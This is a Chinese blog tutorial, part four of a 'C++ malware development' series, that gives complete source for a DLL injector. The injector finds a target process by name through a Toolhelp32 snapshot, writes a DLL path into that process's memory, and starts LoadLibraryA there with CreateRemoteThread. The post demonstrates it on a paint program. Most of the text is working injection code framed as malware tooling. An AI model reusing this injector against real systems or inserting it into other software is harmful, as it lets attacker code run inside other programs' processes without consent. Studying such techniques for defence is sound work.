首页 > 系统相关 >C++恶意软件开发(四)通过查找进程名进行DLL注入

C++恶意软件开发(四)通过查找进程名进行DLL注入

时间:2023-04-19 10:13:19浏览次数:48  
标签:快照 恶意软件 pid C++ DLL pe 进程 HANDLE hSnapshot

通过进程名查找PID

当我们编写注入器的时候,肯定是希望直接通过进程名进行注入,而不是像上一篇笔记一样通过手动输入PID进行查找。
通过进程名查找PID的步骤如下:

  • (1)创建系统中所有进程的快照
  • (2)保存系统快照中遇到的第一个进程的信息
  • (3)循环检索系统中进程的信息是否匹配需要查找的进程名

这里涉及到的函数有:
(1)CreateToolhelp32Snapshot:用于创建一个进程或者模块的快照.

HANDLE CreateToolhelp32Snapshot(
  DWORD dwFlags,  // 快照类型
  DWORD th32ProcessID  // 进程 ID,用于指定要创建快照的进程。如果为 0,则表示创建系统级别的快照。

);

(2)Process32First:用于获取进程快照中的第一个进程信息。

BOOL Process32First(
  HANDLE hSnapshot,  // 要遍历的进程快照的句柄
  LPPROCESSENTRY32 lppe  // 函数用于遍历进程快照,获取第一个进程的信息
);

(3)Process32Next:用于获取进程快照中的下一个进程信息。

BOOL Process32Next(
  HANDLE hSnapshot,
  LPPROCESSENTRY32 lppe
);

实现这个功能的函数完整代码如下:

int findProc(const char *procname) {
	HANDLE hSnapshot;
	PROCESSENTRY32 pe;  // PROCESSENTRY32结构是描述创建快照时驻留在系统地址空间中的进程的列表中的条目
	int pid = 0;
	BOOL hResult;
	
	// 创建系统中所有进程的快照
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (INVALID_HANDLE_VALUE == hSnapshot){  // INVALID_HANDLE_VALUE类似指针中的NULL
		return 0;
	}
	
	// 初始化Process32First需要使用的内存空间
	pe.dwSize = sizeof(PROCESSENTRY32);
	
	// 系统快照中遇到的第一个进程的信息
	hResult = Process32First(hSnapshot, &pe);
	
	// 检索有关进程的信息
	while (hResult) {
		// 如果找到进程就退出
		if (strcmp(procname, pe.szExeFile) == 0) {
			pid = pe.th32ProcessID;
			break;
		}
		hResult = Process32Next(hSnapshot, &pe);
	} 
	// 关闭快照句柄,避免资源泄漏
	CloseHandle(hSnapshot);
	return pid;
} 

修改注入器

剩下的代码和上一篇中的一样,这里只是在上一篇笔记的基础上,将手动输入PID替换为通过进程名查找PID。
修改之后的注入文件完整代码如下,dll文件的生成参照上一篇笔记

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>

int findProc(const char *procname) {
	HANDLE hSnapshot;
	PROCESSENTRY32 pe;
	int pid = 0;
	BOOL hResult;
	
	// 查找系统中所有进程的快照
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (INVALID_HANDLE_VALUE == hSnapshot){
		return 0;
	}
	
	// 初始化Process32First需要使用的内存空间
	pe.dwSize = sizeof(PROCESSENTRY32);
	
	// 系统快照中遇到的第一个进程的信息
	hResult = Process32First(hSnapshot, &pe);
	
	// 检索有关进程的信息
	while (hResult) {
		// 如果找到进程就退出
		if (strcmp(procname, pe.szExeFile) == 0) {
			pid = pe.th32ProcessID;
			break;
		}
		hResult = Process32Next(hSnapshot, &pe);
	} 
	// 关闭CreateToolhelp32Snapshot
	CloseHandle(hSnapshot);
	return pid;
} 

char evilDLL[] = "C:\\Users\\16537\\Desktop\\test.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;

int main(int argc, char* argv[]) {
	int pid = 0;	// 进程id 
	HANDLE ph; // 进程句柄 
	HANDLE rt; // 远程线程 
	LPVOID rb; // 远程内存 

	// 获取LoadLibraryA函数的地址
	HMODULE hKernel32 = GetModuleHandle("Kernel32");
	VOID *lb = (VOID *)GetProcAddress(hKernel32, "LoadLibraryA");

	// 通过进程名称查找进程id
	pid = findProc(argv[1]);
	if (pid == 0) {
		printf("PID not Found!\n");
		return -1;
	}  else {
		printf("PID = %d\n", pid);
	}
	
	
	// 打开目标进程
	ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));

	// 分配远程进程的内存 
	rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

	// 在进程间复制dll 
	WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);

	// 在目标进程中创建新的线程
	rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
  
	// 等待远程线程执行结束
    WaitForSingleObject(rt, INFINITE);

    // 清理内存空间
    VirtualFreeEx(ph, rb, 0, evilLen);
  
	CloseHandle(ph);
	CloseHandle(rt);
	
  	return 0;
}

接着,将dll注入到mapaint.exe中:

并且在mapaint.exe的内存中可以看到我们注入的内容。

标签:快照,恶意软件,pid,C++,DLL,pe,进程,HANDLE,hSnapshot
From: https://www.cnblogs.com/Timesi/p/17332199.html

相关文章

  • C++ const关键字
    参考资料:【C++const的各种用法详解】【const用法深入浅出】-COS-博客园(cnblogs.com)const的基本概念:const名叫常量限定符,用来限定特定变量,以通知编译器该变量是不可修改的。习惯性的使用const,可以避免在函数中对某些不应修改的变量造成可能的改动。下面我就const的用法......
  • 打卡 无规矩不成方圆 - C/C++ 多态
    请结合如图所示的继承关系设计Shape、Circle以及Rectangle类,使得下述代码可以正确计算并输出矩形和圆的面积。提示:Shape的析构以及area()函数都应为虚函数。  裁判测试程序样例://Project-Shapes#include<iostream>usingnamespacestd;//在此处定义Shape,Cirlce及......
  • c++_Template
    c++_Templatestd::stringMemberfunctions:Iterators:beginReturniteratortobeginning(publicmemberfunction)endReturniteratortoend(publicmemberfunction)rbeginReturnreverseiteratortoreversebeginning(publicmemberfunction)rend......
  • C++ 学习 第七天
    今日内容:指针 函数 指针:指针是用于记录一块内存空间地址的符号& 后面跟的是一个变量的时候,代表的是取址符符号*  乘号:需要左右两侧的操作数  指针符:当*的前方跟的是一个数据类型的 时候  解引用符:当*后方跟的是指针的时候 int number=20 int* ptr=......
  • 4.18 c++图形库easyx的基础编程
    头文件#include<graphcis.h>一基础绘图概念1.颜色用三原色表示RGB(红色部分,绿色部分,蓝色部分)每一部分的数值范围(0~255)。基本大写英文单词已对应例如BLUE蓝色2.窗口坐标的默认原点在左上角(0,0)x轴正方向向右,y轴正方向向下。二窗口函数initgraph(intwidth,intheigh......
  • C++入门
       本篇文章与大家分享一些c++的关键字、命名空间及输入输出的相关知识。首先,我们先了解一下c++的关键词,具体如下:C++的关键词c++的关键词,共计64个,部分与c语言相似,这些关键字需不需要背呢?答案是否定。回顾我们学c语言的过程,关键词用着用就记住了,没必要刻意去记忆。对于c++的......
  • C++第三章课后练习题
    编写可以求两个数最大公约数和最小公倍数的函数。1#include<iostream>2#include<cmath>3usingnamespacestd;4intfun1(intx,inty)5{6inttemp;7if(x<y)8{9temp=x;10x=y;11y=temp;12}13......
  • c++打卡第八天
    一、问题描述。   我国古代有一种说话叫三天打鱼两天晒网,如果一个人从1990年1月1日开始,开始三天打鱼两天晒网,问输入一个年月日,此时他是在打鱼还是晒网。二、设计思路。①、我们可以通过计算从输入日期到1990年1月1日总共有多少天,总天数除余周期五,如果结果为1.2.3则此人此......
  • 深度解读C++引用
    什么是引用引用不是新定义一个变量,而是给已存在对象取了一个别名,从语言逻辑角度看,引用不占用内存空间,而与被引用的对象共用同一块内存空间。使用引用时,需要注意以下几点:引用在定义时必须初始化;一个变量可以有多个引用;C++中的引用一旦初始化便不能转移;在语法逻辑角度,引用不占用额外......
  • 0001笔记【并行计算】CUDA在现代C++中如何运用?看这一个就够了
    目录SM(流多处理器)和板块(block)一个板块会被调度到一个SM上,直到执行结束常用函数cudaMalloc在显存上分配内存cudaMallocHost在主存上分配锁页内存cudaMemcpy在主存和显存之间拷贝数据cudaMallocManagerd统一内存优化时间依赖和空间依赖线程太多不行:防止寄存器打翻(registerspill)......